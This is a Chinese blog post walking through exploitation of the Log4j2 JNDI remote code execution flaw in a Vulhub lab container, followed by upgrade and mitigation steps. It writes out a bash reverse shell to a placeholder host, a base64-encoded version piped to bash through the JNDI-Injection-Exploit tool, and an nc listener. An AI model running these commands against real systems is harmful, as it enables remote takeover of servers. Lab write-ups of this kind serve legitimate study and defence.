vlambda博客
学习文章列表

盘一盘log4j2漏洞getshell方式

迟来的log4j2漏洞getshell^^

1、漏洞描述

Apache Log4j2是一款非常优秀的Java日志框架,由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

2、getshell

首先拉一个Vulhub的log4j2漏洞的docker镜像(不细说了这块自行百度吧),用VPS下载log4j2的利用工具,github项目地址:https://github.com/sayers522/JNDI-Injection-Exploit,下载完成后进入目录mvn打包一下:



反弹shell命令:bash -i >& /dev/tcp/x.x.x.x/1234 0>&1
Base64编码一下:
YmFzaCAtaSA+JiAvZGV113RjcC84MS42OC43My4xNDYvNzc3NyAwPiYxIA==

盘一盘log4j2漏洞getshell方式


在打包好的工具中执行:

java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all -C "bash -c {echo,YmFzaCAtaSA+JiAvZG12L3RjcC84MS42OC43My4xNDYvNzc3NyAwPiYxIA==}|{base64,-d}|{bash,-i}"-A "x.x.x.x"


盘一盘log4j2漏洞getshell方式


VPS另起一个shell,nc监听1234端口,nc -lvvp 1234


盘一盘log4j2漏洞getshell方式


在漏洞环境使用生成的exp执行,依据JDK版本不同都试一波:

盘一盘log4j2漏洞getshell方式


成功反弹shell:



3、漏洞修复

1.升级Apache Log4j 2至最新安全版本2.15.0-rc2:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

2.升级已知受影响的应用及组件,如spring-boot-starter-log4j2/ApacheStruts2/ApacheSolr/ApacheDruid/Apache Flink。


临时解决方案:


1.设置jvm参数"-Dlog4j2.formatMsgNoLookups=true";

2.设置系统环境变量

"FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS"为"true";

3.关闭应用的网络外连。